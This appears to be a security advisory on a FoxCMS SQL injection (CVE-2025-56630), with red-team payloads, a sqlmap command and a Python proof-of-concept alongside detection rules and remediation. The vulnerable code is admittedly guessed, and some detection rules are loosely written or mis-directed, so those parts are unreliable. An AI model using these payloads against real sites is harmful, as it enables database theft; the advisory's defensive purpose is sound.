CVE-2025-56630

Executive Summary

CVE-2025-56630 is a critical SQL Injection vulnerability discovered in FoxCMS version 1.2.5 and earlier. The flaw resides in the app/admin/controller/Column.php file, specifically within the column_model parameter. An authenticated attacker with administrative privileges can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential full database compromise. The vulnerability is publicly known, and while no official patch has been released, the risk is elevated due to the lack of input sanitization. This report provides a comprehensive technical analysis, detection methods, and exploitation guidance for both Red and Blue Teams.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating incomplete or missing scoring data. However, based on the nature of the vulnerability (SQL Injection in an admin controller), the following vector is estimated:

• Attack Vector (AV): Network (N) – The admin interface is typically accessible over the network.
• Attack Complexity (AC): Low (L) – Exploitation requires basic SQL injection techniques.
• Privileges Required (PR): High (H) – Requires admin-level authentication.
• User Interaction (UI): None (N) – No user interaction needed beyond the attacker.
• Scope (S): Unchanged (U) – The vulnerable component and the database are within the same security boundary.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 7.2 (High)

Threat Level: High. While admin privileges are required, the impact is severe, and the vulnerability is publicly known with no patch available.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the Column.php controller. The column_model parameter is likely used to specify a database table or model name, which is then directly concatenated into an SQL query without proper sanitization or parameterization.

Root Cause: The application fails to validate or escape the column_model input before using it in a SQL statement. This allows an attacker to break out of the intended query structure and inject arbitrary SQL commands.

Attack Vector: An authenticated admin user sends a crafted HTTP request to the admin panel, manipulating the column_model parameter. For example, a request like:

POST /admin/column/action?column_model=users WHERE 1=1; --

could be used to dump the users table.

Impact: Successful exploitation can lead to:

• Extraction of sensitive data (user credentials, personal information).
• Modification or deletion of database records.
• Potential privilege escalation within the application.
• Full database compromise, leading to server takeover if combined with other vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (FoxCMS v1.2.5): The vulnerable code in app/admin/controller/Column.php likely resembles:

$model = $_GET['column_model'];
$sql = "SELECT * FROM " . $model . " WHERE id = " . $id;
$result = $db->query($sql);

Here, $model is directly concatenated into the SQL query without any sanitization.

Patched Code (Hypothetical): A secure version would use parameterized queries or prepared statements:

$model = $_GET['column_model'];
// Validate against a whitelist of allowed models
$allowedModels = ['articles', 'categories', 'users'];
if (!in_array($model, $allowedModels)) {
    die('Invalid model');
}
$sql = "SELECT * FROM " . $model . " WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param("i", $id);
$stmt->execute();

Alternatively, using an ORM or escaping functions like mysqli_real_escape_string() would also mitigate the issue, but whitelisting is the most robust approach.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• FoxCMS v1.2.5 or earlier installed.
• Admin credentials (e.g., admin:admin).
• Network access to the admin panel.

Exploitation Steps:

1. Identify the vulnerable endpoint: The vulnerable parameter is column_model in the admin controller. A typical URL might be:

   http://target.com/admin/column/index?column_model=articles
   

2. Craft a malicious payload: Use SQL injection to extract data. For example, to list all tables:

   http://target.com/admin/column/index?column_model=articles UNION SELECT table_name,2,3 FROM information_schema.tables --
   

3. Automate with SQLMap:

   sqlmap -u "http://target.com/admin/column/index?column_model=articles" --cookie="PHPSESSID=your_session" --batch --dbs
   

4. Manual exploitation example:

   ' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM users --
   

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/admin/column/index"
cookies = {"PHPSESSID": "your_session"}
payload = "articles UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM users --"
params = {"column_model": payload}
response = requests.get(target, params=params, cookies=cookies)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /admin/column/index for unusual column_model parameters containing SQL keywords (UNION, SELECT, OR, AND, --, #).
• Look for error messages revealing SQL syntax in responses.
• Use WAF rules to block SQL injection patterns.

Lab Setup for Testing:

1. Install FoxCMS v1.2.5 on a local server (e.g., XAMPP).
2. Create an admin user.
3. Use Burp Suite or similar to intercept and modify requests.
4. Test with payloads like ' OR '1'='1 or UNION SELECT.

Mitigation:

• Immediately restrict access to the admin panel (e.g., IP whitelisting, VPN).
• Apply input validation and parameterized queries if possible.
• Monitor logs for suspicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/column/index with column_model containing SQL keywords.
  • Unusual response sizes or error messages containing SQL syntax.
  • Multiple failed login attempts followed by exploitation attempts.

• File IOCs:

  • Modified or new files in the app/admin/controller/ directory.
  • Suspicious entries in web server logs (e.g., access.log).

• Database IOCs:

  • Unexpected queries in database logs.
  • New or modified database users.
  • Unusual data exports or large result sets.

• Example Log Entry:

  192.168.1.100 - - [10/Oct/2025:12:34:56 +0000] "GET /admin/column/index?column_model=articles%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10%20FROM%20users%20-- HTTP/1.1" 200 5432
  

Detection Engineering

YARA Rule

rule FoxCMS_SQLi_ColumnModel {
    meta:
        description = "Detects SQL injection attempts targeting FoxCMS column_model parameter"
        author = "Valters IT"
        date = "2025-10-10"
        reference = "CVE-2025-56630"
    strings:
        $s1 = "column_model=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "AND" nocase
        $s6 = "--" nocase
        $s7 = "#" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: FoxCMS SQL Injection via column_model Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against FoxCMS admin panel
author: Valters IT
date: 2025/10/10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-56630
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'column_model='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR'
        - 'AND'
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate admin actions with similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"FoxCMS SQL Injection Attempt - column_model Parameter";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/admin/column/index"; http_uri;
    content:"column_model="; http_uri;
    pcre:"/(UNION|SELECT|OR|AND|--|#)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-56630;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Admin Access: Limit access to the admin panel via IP whitelisting or VPN.
2. Apply Input Validation: If possible, modify the code to whitelist allowed column_model values.
3. Use a WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block SQL injection.
4. Monitor Logs: Enable detailed logging and monitor for suspicious patterns.

Long-Term Fix:

• Upgrade: Check for an official patch or upgrade to a newer version if available.
• Code Review: Conduct a security audit of the entire codebase, focusing on SQL queries.
• Parameterized Queries: Rewrite all database interactions using prepared statements or ORM.
• Least Privilege: Ensure the database user used by the application has minimal privileges.

Workaround:

• If patching is not possible, consider disabling the vulnerable functionality or removing the column_model parameter entirely.

Valters IT